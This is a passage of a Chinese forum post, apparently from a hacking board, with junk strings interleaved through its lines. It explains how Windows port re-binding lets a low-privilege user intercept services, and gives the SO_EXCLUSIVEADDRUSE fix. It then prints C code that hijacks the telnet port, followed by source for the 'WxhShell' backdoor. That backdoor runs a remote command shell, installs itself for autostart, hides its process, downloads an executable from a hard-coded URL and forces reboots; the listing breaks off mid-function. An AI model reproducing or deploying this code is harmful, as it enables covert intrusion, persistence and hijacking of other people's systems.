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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <2j$P Y9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2O(k@M5E?  
br0\O  
  saddr.sin_family = AF_INET; + ,]&&  
q:>`|~MX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); DDIRJd<J  
uF%N`e^S  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Nc6y]eGz  
*C)m#[#:u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 or ~@!  
7g8\q@',  
  这意味着什么?意味着可以进行如下的攻击: im>/$!&OyI  
`o_i+?E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i]zh8|">  
g0~m[[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ([JFX@  
3mE8tTA$R  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 BB,-HhYT0  
#\F8(lZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9[{q5  
F9w2+z.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o}36bi{  
z 4. |N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8oHIXnK  
E]{0lG`l  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ViOXmK"  
4u p7 :?  
  #include 8f?o?c|  
  #include ~Gg19x.#uW  
  #include `h'Ab63  
  #include    %,N-M]Jf  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "}uu-5]3  
  int main() T?n[1%K  
  { P'5Lu  
  WORD wVersionRequested; C>l (4*S  
  DWORD ret; ]w)uo4<^J  
  WSADATA wsaData; (s1iYK  
  BOOL val; F":dS-u&L  
  SOCKADDR_IN saddr; 1:h(8%H@"  
  SOCKADDR_IN scaddr; y}QqS/  
  int err; M;-FW5O't  
  SOCKET s; Oa5-^&I  
  SOCKET sc; B 4e}%  
  int caddsize; /KiaLS  
  HANDLE mt; +ZwTi!W  
  DWORD tid;   UA0R)BH'  
  wVersionRequested = MAKEWORD( 2, 2 ); Dxr4B<  
  err = WSAStartup( wVersionRequested, &wsaData ); q<g!bW%  
  if ( err != 0 ) { 1{xkAy0  
  printf("error!WSAStartup failed!\n"); odeO(zuU  
  return -1; ~8Ef`zL  
  } @$ )C pg  
  saddr.sin_family = AF_INET; wGz_IL.D  
   w@N)Pu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F0'o!A#|(  
sGMnm  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gcM(K.n  
  saddr.sin_port = htons(23); kvN6K6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |[bQJ<v6  
  { =:RNpi,  
  printf("error!socket failed!\n"); :d~&Dt<c  
  return -1; x6yO2Yo  
  } ,l)AYu!q4F  
  val = TRUE; 4=ha$3h$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z!?T&:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j~ qm5}  
  { G#^6H]`[J:  
  printf("error!setsockopt failed!\n"); G|$n,X1O(  
  return -1; su=]gE@  
  } \y/0)NL\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U%2{PbL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xl,?Hh%#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^F"eHUg  
6:TA8w|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p_sqw~)^%  
  { .O4=[wE!U  
  ret=GetLastError(); `O,"mm^@U  
  printf("error!bind failed!\n"); 0c#|LF_  
  return -1; X`}4=>  
  } X0m6<q  
  listen(s,2); wB*}XJah  
  while(1) P6ugbq[x#e  
  { IC.R4-  
  caddsize = sizeof(scaddr); 6}mSA@4&  
  //接受连接请求 6<Zk%[7t  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kL}*,8s{  
  if(sc!=INVALID_SOCKET)  YP}r15P  
  { )% ?SWuS?N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u z>V  
  if(mt==NULL) 1w?DSHe  
  { i ;YRE&X  
  printf("Thread Creat Failed!\n"); t9kqX(!  
  break; y=WCR*N  
  } p["20 ?^  
  } t4,(W`  
  CloseHandle(mt); FE?^}VH  
  } ^t)alNGos  
  closesocket(s); O$& 4{h`  
  WSACleanup(); k{C|{m  
  return 0; v/C*?/ ~  
  }   ^$\#aTyFK  
  DWORD WINAPI ClientThread(LPVOID lpParam) {[FJkP2l  
  { H h;o<N>U  
  SOCKET ss = (SOCKET)lpParam; R 9Y k9v  
  SOCKET sc; q/\Hh9`  
  unsigned char buf[4096]; \E:l E/y  
  SOCKADDR_IN saddr; 2W`<P2IA  
  long num; Ds%~J  
  DWORD val; Q%RI;;YyA  
  DWORD ret; \M-$|04Qt  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Q92hI"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =Cr F(wVO"  
  saddr.sin_family = AF_INET; wo!;Bxo N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ehYGw2  
  saddr.sin_port = htons(23); Q\v^3u2;m`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k'Z$#  
  { g`zC0~D2  
  printf("error!socket failed!\n"); q0]Z` <w  
  return -1; *6*/kV? F  
  } p[gq^5WuC  
  val = 100; Ja6PX P]'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e;)&Hc:Z  
  { ,n+~S^r  
  ret = GetLastError(); E@$HO_;&  
  return -1; SSI('6Z/  
  } #kDJ>r |&-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,!g%`@u  
  { <)9E.h  
  ret = GetLastError(); <q#/z&F!  
  return -1; ?f[U8S}  
  } XB-l[4?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _:,U$W  
  { H;eOrX {GT  
  printf("error!socket connect failed!\n"); f0lK ,U@P  
  closesocket(sc); 2(sq*!tX  
  closesocket(ss); cn!Y7LVr  
  return -1; k7Z1Y!n7  
  } q\6ZmKGnT  
  while(1) Lv?e[GA  
  { ZYX(Cf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *l4`2eqZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Kf7v_T /  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  ~/kx  
  num = recv(ss,buf,4096,0); -J=N  
  if(num>0) rn8t<=ptH3  
  send(sc,buf,num,0); QZ51}i  
  else if(num==0) qy|si4IU8,  
  break; VjVL/SO/  
  num = recv(sc,buf,4096,0); %7bZnK`C  
  if(num>0) ]):kMRv  
  send(ss,buf,num,0); <oWoJP`G  
  else if(num==0) x?B8b-*  
  break; ?rgk  
  } ^aG=vXK`b  
  closesocket(ss); gkyv[  
  closesocket(sc); &-0 eWwMW  
  return 0 ; Fps.Fhm  
  } i.`RQZ$,/  
SLG3u;Ab  
F[S Ys/M  
========================================================== HJu;4O($  
+p:@,_  
下边附上一个代码,,WXhSHELL oUwu:&<Orm  
0Bpix|mq  
========================================================== 6+[7UH~pm^  
f}>S"fFI  
#include "stdafx.h" ;MR(Eaep  
~?)ST?&  
#include <stdio.h> mT2Fn8yC1  
#include <string.h> PjkJsH  
#include <windows.h> %A<|@OSdOa  
#include <winsock2.h> " Q~-C|x  
#include <winsvc.h> aBLE:v  
#include <urlmon.h> qrmJJSJ  
b 64~Y|8  
#pragma comment (lib, "Ws2_32.lib") l1qWl   
#pragma comment (lib, "urlmon.lib") =,=tSp  
y$e'-v  
#define MAX_USER   100 // 最大客户端连接数 G_] (7  
#define BUF_SOCK   200 // sock buffer oLXQ#{([  
#define KEY_BUFF   255 // 输入 buffer D'823,-).  
CL$mK5u  
#define REBOOT     0   // 重启 tCdgtZm  
#define SHUTDOWN   1   // 关机 -IB~lw  
'nM)=  
#define DEF_PORT   5000 // 监听端口 M/,jHG8v  
85fBKpEe  
#define REG_LEN     16   // 注册表键长度 z;_d?S <*m  
#define SVC_LEN     80   // NT服务名长度 0#mu[O  
&\0`\#R  
// 从dll定义API _YH)E^If  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P:")Qb2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {AY `\G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b)A$lP%`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F_$K+6  
=y/VrF.bV  
// wxhshell配置信息 Tl!}9/Q5E:  
struct WSCFG { sGCV um}  
  int ws_port;         // 监听端口 WBA0! g98  
  char ws_passstr[REG_LEN]; // 口令 F:CqB|  
  int ws_autoins;       // 安装标记, 1=yes 0=no In)#`E` g.  
  char ws_regname[REG_LEN]; // 注册表键名 &zF1&J58z  
  char ws_svcname[REG_LEN]; // 服务名 7 C5m#e3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~pqp`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PQ2u R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *HwTq[y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IdlW[h3`[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m3k}Q3&6Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \7}X^]UVx  
bqMoO7&c  
}; TWC^M{e  
^zv28Wq>  
// default Wxhshell configuration Pv`^#BX'  
struct WSCFG wscfg={DEF_PORT, a"{tqNc  
    "xuhuanlingzhe", ?hS n)  
    1, m#'2 3  
    "Wxhshell", W)F2X0D>  
    "Wxhshell", Vl!Z|}z  
            "WxhShell Service", ~mtL\!vaM  
    "Wrsky Windows CmdShell Service", xcz1(R  
    "Please Input Your Password: ", Mp ~E $f  
  1, R4"g? e  
  "http://www.wrsky.com/wxhshell.exe", $b#"Rv  
  "Wxhshell.exe" Zjt3U;Y  
    }; DiAPs_@  
pbivddi2  
// 消息定义模块 EY(@R2~#J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '$M=H.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :Q\b$=,:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xv'M\T}6C+  
char *msg_ws_ext="\n\rExit."; bf `4GD(  
char *msg_ws_end="\n\rQuit."; @fp(uu  
char *msg_ws_boot="\n\rReboot..."; #{ M$%l>  
char *msg_ws_poff="\n\rShutdown..."; )#r]x1[Kn  
char *msg_ws_down="\n\rSave to "; YXJjqH3  
' hL\xf{  
char *msg_ws_err="\n\rErr!"; p3*}!ez4  
char *msg_ws_ok="\n\rOK!"; gJ>?<F;  
laqW {sX^5  
char ExeFile[MAX_PATH]; DY6wp@A  
int nUser = 0; KX9+*YY,  
HANDLE handles[MAX_USER]; ">kf X1LT  
int OsIsNt; X;T(?,,  
:JqH.Sqk  
SERVICE_STATUS       serviceStatus; ,|b<as@X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lhx6+w  
L^ VG?J  
// 函数声明 Xb42R1  
int Install(void); abtAkf  
int Uninstall(void); @R?S-*o  
int DownloadFile(char *sURL, SOCKET wsh); OFCOMM  
int Boot(int flag); `,&h!h((  
void HideProc(void); "!gd)^<e  
int GetOsVer(void); ^zQ;8)ng  
int Wxhshell(SOCKET wsl); U]fE(mpI9  
void TalkWithClient(void *cs); u(SdjLf:  
int CmdShell(SOCKET sock); )[6H!y5  
int StartFromService(void); z4 8,{H6h  
int StartWxhshell(LPSTR lpCmdLine); )5Kzq6.  
JPgV7+{b[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '1=t{Rw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W\zg#5fmK  
X#(?V[F]  
// 数据结构和表定义 x<"e} Oo  
SERVICE_TABLE_ENTRY DispatchTable[] = &@A(8(%  
{ dapQ5JT/  
{wscfg.ws_svcname, NTServiceMain}, JcZs\ fl9  
{NULL, NULL} cp2e,%o  
}; zHr1FxD  
lx~!FLn  
// 自我安装 )oa6;=go  
int Install(void) &&|*GAjJ  
{ ow ~(k5k:  
  char svExeFile[MAX_PATH]; _ EHr?b2  
  HKEY key; Y ,B0=}  
  strcpy(svExeFile,ExeFile); ,'F;s:WM,  
kVQKP  U  
// 如果是win9x系统,修改注册表设为自启动 `Bnp/9q5  
if(!OsIsNt) { vKDRjrF-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9>qR6k ?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wa W2$9O  
  RegCloseKey(key); A5+vzu^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z:|4S@9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .wx; !9  
  RegCloseKey(key); zO2Z\E'% .  
  return 0; Zo22se0)  
    } nvxftbfE^D  
  } 8MM#q+8  
} Tul_/`An  
else { |~CN]N  
;58l_ue  
// 如果是NT以上系统,安装为系统服务 O(h4;'/E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X&t)S?eCos  
if (schSCManager!=0) 2Q)"~3  
{ rFSLTbTf  
  SC_HANDLE schService = CreateService &2MW.,e7s  
  ( (J][(=s;a  
  schSCManager, wnP#.[,V  
  wscfg.ws_svcname, <Jo_f&&{  
  wscfg.ws_svcdisp, <n>Kc}c  
  SERVICE_ALL_ACCESS, FlRbGg^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q/?#+d  
  SERVICE_AUTO_START, W sQo+Ua  
  SERVICE_ERROR_NORMAL, 0eQyzn*98  
  svExeFile, rcPP-+XW  
  NULL, W{At3Bfy  
  NULL, [(w _!|S  
  NULL, ^/2n[orl5  
  NULL, P6zy<w  
  NULL WL7R.!P  
  ); 6?Rm>+2>v  
  if (schService!=0) 'u{m37ZJ  
  { uY,&lX+!  
  CloseServiceHandle(schService); m]+g[L?-  
  CloseServiceHandle(schSCManager); Xp{+){Iu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,Zb]3  
  strcat(svExeFile,wscfg.ws_svcname); *;(LKRV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B[!wo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ATv.3cy  
  RegCloseKey(key); L=Fm:O'#2  
  return 0; qXkc~{W_  
    } ea=@r Ng  
  } /fWVgyW> 6  
  CloseServiceHandle(schSCManager); k;R*mg*K  
} Ti!j  
} QSW62]=vV  
pV(b>O  
return 1; C+cSy'VIK!  
} @U_w:Q<9u  
kV(}45i]s  
// 自我卸载 9l@VxX68M  
int Uninstall(void) Lf&p2p?~c  
{ ?0WJB[/  
  HKEY key; <bWhTNOb  
Q_euNoA0  
if(!OsIsNt) { vAbMU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D:U:( pg  
  RegDeleteValue(key,wscfg.ws_regname); 4T`u?T]  
  RegCloseKey(key); d Ayof=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !1]72%k[  
  RegDeleteValue(key,wscfg.ws_regname); [2gK^o&t  
  RegCloseKey(key); @|6n.'f+  
  return 0; x^qmYX$'1b  
  } ><viJ$i  
} WQ<J<$$uu  
} { ,/mQ3  
else { 3 ~0Z.!O  
a=&a)FR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j` 9pZAF  
if (schSCManager!=0) '`#2'MXG  
{ ^1BQejD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u{,e8. Z  
  if (schService!=0) Aj#CB.y  
  { 3gaijVN  
  if(DeleteService(schService)!=0) { %'nM!7w@I  
  CloseServiceHandle(schService); ns9iTU)  
  CloseServiceHandle(schSCManager); znw\Dn?g  
  return 0; @Nn9- #iW  
  } Pdmfn8I]%  
  CloseServiceHandle(schService); &/d;4Eu  
  } '^'vafs-/@  
  CloseServiceHandle(schSCManager); ".O+";wk  
} x1W<r)A )r  
} y5 $h  
ZMy0iQ@  
return 1; d_BECx <\  
} YgNt>4K  
^]3Y11sI  
// 从指定url下载文件 rP>iPDf  
int DownloadFile(char *sURL, SOCKET wsh) 4P( Y34j  
{ H-~V:OCB~  
  HRESULT hr; zdrCr0Rx,  
char seps[]= "/"; &*B=5W;6^u  
char *token; 2--"@@  
char *file; QU_O9 BN  
char myURL[MAX_PATH]; WLd{+y5#  
char myFILE[MAX_PATH]; Fd":\7p  
Mp^%.m  
strcpy(myURL,sURL); xAw$bJj~s  
  token=strtok(myURL,seps); I$9^i#O'3  
  while(token!=NULL) Jp=eh   
  { ME7jF9d  
    file=token; bYGK}:T8U  
  token=strtok(NULL,seps); rn#FmM  
  } {5QIQ  
IqJ7'X  
GetCurrentDirectory(MAX_PATH,myFILE); uIvy1h9m  
strcat(myFILE, "\\"); 0tv"tA;  
strcat(myFILE, file); j-8v$ 0'  
  send(wsh,myFILE,strlen(myFILE),0); M>VT$!Lx  
send(wsh,"...",3,0); 0W<:3+|n4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N@lTn}U  
  if(hr==S_OK) 9bR lSb@  
return 0; U:ggZ`.  
else l5F>v!NA  
return 1;  h%0/j  
;,![Lar5L  
} ~CgKU8  
]ppi962Z  
// 系统电源模块 +dw$IMwb  
int Boot(int flag) tfW/Mf  
{ swJ3_WhbdT  
  HANDLE hToken; \Y&*sfQ  
  TOKEN_PRIVILEGES tkp; la:i!q AH  
D7H,49#1Q  
  if(OsIsNt) { @d]I3?`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sgp5b$2T.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $_CE!_G&)  
    tkp.PrivilegeCount = 1; i_Dv+^&zV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /. GHR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FtXd6)_S  
if(flag==REBOOT) { }CnqJ@>C5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R("g ]  
  return 0; 2A7g}V  
} qq" &Bc>  
else { 6FNs4|(d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ++d(}^C;  
  return 0; xdb9oH  
} wNMgY  
  } 64;F g/t  
  else { L1A0->t  
if(flag==REBOOT) { ?muI8b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MG)wVS<d_  
  return 0; M>W-lp^3  
} ,3l=44*  
else { Kk#g(YgNz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v-M3/*  
  return 0; bfy `UZr  
} 6X2>zUHR  
} gDE',)3Q,  
_Mq0QQ42  
return 1; ivg:`$a[  
} v'nM=  
]H<5]({F  
// win9x进程隐藏模块 &$F4/2|b%  
void HideProc(void) y^7;I-  
{ gdkl,z3N3  
q$FwO"dC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bh9rsRb}O  
  if ( hKernel != NULL ) VP[ -BK[  
  { XDs )  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1T:M?N8J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \?uaHX`1  
    FreeLibrary(hKernel); Z0*Lm+d9z  
  } CA%p^4Q  
EV{kd.=f  
return; '{=dEEi  
} 5N "fD{v{  
XOgl> 1O  
// 获取操作系统版本 ?w6zq|  
int GetOsVer(void) w@RVg*`%7D  
{ kx,9n)  
  OSVERSIONINFO winfo; VeK^hz R^Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GyI(1O AW  
  GetVersionEx(&winfo); 6(Za}H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^2Sa_.  
  return 1; qj *IKS  
  else .BN~9w  
  return 0; N!Dc\d=8q]  
} \l!^6G|c  
\`?#V xz  
// 客户端句柄模块 .3WDtVE  
int Wxhshell(SOCKET wsl) pW ]+a0j  
{ ]"bkB+I  
  SOCKET wsh; jO xH' 1I  
  struct sockaddr_in client; n5CjwLgu\b  
  DWORD myID; MG ,exN @  
"#bL/b'{  
  while(nUser<MAX_USER) [P,YW|:n  
{ C@+"d3  
  int nSize=sizeof(client); 3GVE/GtU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )9'eckt  
  if(wsh==INVALID_SOCKET) return 1; l%"[857  
k^3 ?Z2a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z#7T!/28  
if(handles[nUser]==0) *:t]|$;E\  
  closesocket(wsh); i!8 o(!I  
else o('W2Bs-o  
  nUser++; <hlH@[7!  
  } Y"qKe,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Uw R,U#d  
ghvF%-."1  
  return 0; DVCO( fz  
} ,4dES|)sP  
?"MJ'u  
// 关闭 socket 6<0-GD}M  
void CloseIt(SOCKET wsh) +g36,!q  
{ 'Okitq+O  
closesocket(wsh); *p!K9$4  
nUser--; bz!9\D|h  
ExitThread(0); Co6ghH7T  
} weQC9e~d{-  
I)$`@.  
// 客户端请求句柄 e='bc7$  
void TalkWithClient(void *cs) lK;/97Ze  
{  V[D[MZ  
BM bT:)%  
  SOCKET wsh=(SOCKET)cs; dhl[JC~ _  
  char pwd[SVC_LEN]; 4k'2FkDA  
  char cmd[KEY_BUFF]; S"?py=7  
char chr[1]; p x;X}Cd  
int i,j; 0l#{7^e  
jxA`RSY  
  while (nUser < MAX_USER) { O8BxXa@5  
:x e/7-  
if(wscfg.ws_passstr) { gs;3NW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z_fR?~$N2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,a_F[uK  
  //ZeroMemory(pwd,KEY_BUFF); &W/C2cpmR  
      i=0; =XWew*  
  while(i<SVC_LEN) { 4u5^I;4pL  
:ie7HF  
  // 设置超时 TTjj.fq6  
  fd_set FdRead; *O') {(  
  struct timeval TimeOut; Xh==F:  
  FD_ZERO(&FdRead); u@d`$]/>F  
  FD_SET(wsh,&FdRead); vUa~PN+Iy  
  TimeOut.tv_sec=8; v5"5UPi-  
  TimeOut.tv_usec=0; X\3IY:Q@T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  _Y@'<S.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PAF2=  
1_vaSEov  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p"^^9'`=  
  pwd=chr[0]; "B`yk/GM]  
  if(chr[0]==0xd || chr[0]==0xa) { e6s-;  
  pwd=0; :nki6Rkowt  
  break; <p<jXwl  
  } }>:v  
  i++; _2{i}L  
    } .S/W_R  
dP0!?J Y  
  // 如果是非法用户,关闭 socket 0Eq.l<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @+A`n21,O  
} V^Wo%e7#u[  
Alh"G6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2GRh8G&5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EgIFi{q=0  
xQs2 )  
while(1) { 2%g)0[1  
Te?UQX7Z}M  
  ZeroMemory(cmd,KEY_BUFF); b;\qF&T  
eK\ O>  
      // 自动支持客户端 telnet标准   @ ?y(\>  
  j=0; cWIX!tc8  
  while(j<KEY_BUFF) { kQlXcR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GCul6,w  
  cmd[j]=chr[0]; Q7]:vs)%  
  if(chr[0]==0xa || chr[0]==0xd) { $?p^ m`t_  
  cmd[j]=0; N>;"r]Rl"  
  break; jYKs| J)[  
  } LLOe  
  j++; 8EZ"z d`n/  
    } >*%ySlZbs  
^!^8]u<Q  
  // 下载文件 `WF?87l1  
  if(strstr(cmd,"http://")) { r-]Au -  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b\~rL,7(  
  if(DownloadFile(cmd,wsh)) qA:CV(Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); . (*V|&n  
  else H~RWM'_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2&fIF}vk>m  
  } vW6Pf^yJ  
  else { 2#'{Q4K  
ehj&A+Ip  
    switch(cmd[0]) { "PGEiLY  
  ]5D?Sc#-  
  // 帮助 DV +DJcF  
  case '?': { #9z\Wblr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ry}CND(nB  
    break; V ea>T^  
  }  !pl<  
  // 安装 *{:FPmDU  
  case 'i': { }_}C ^  
    if(Install()) (A`/3Aq+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M$A"<5  
    else 1fwCQM   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e $QX?y .  
    break; $A6'YgK  
    } ;<0Q<0G  
  // 卸载 bnLvJ]i)  
  case 'r': { 5T}$+R0&  
    if(Uninstall()) hX\XNiCiK8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dUeM+(s1  
    else UzFd@W u#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AR'q2/cw  
    break; e#IED!U  
    } esmQ\QQ^1  
  // 显示 wxhshell 所在路径 1g{`1[.QO  
  case 'p': { uy{mSx?td  
    char svExeFile[MAX_PATH]; +#O?a`f  
    strcpy(svExeFile,"\n\r"); MdT'xYomzQ  
      strcat(svExeFile,ExeFile); tDFN *#(  
        send(wsh,svExeFile,strlen(svExeFile),0); 2Xk(3J!!'a  
    break; ?,NZ /n  
    } 6d"dJV.\  
  // 重启 [>&Nhn0iY  
  case 'b': { '#[U7(lIQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %b'ic  
    if(Boot(REBOOT)) ohusL9D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9ET2uDZpL  
    else { <QT u"i  
    closesocket(wsh); ,6PV"E)_  
    ExitThread(0); Y TxUKE:  
    } yd5r]6ej  
    break; *\m 53mb  
    } AS`0.RC-  
  // 关机 Hk8:7"4Q  
  case 'd': { :6PWU$z$7  
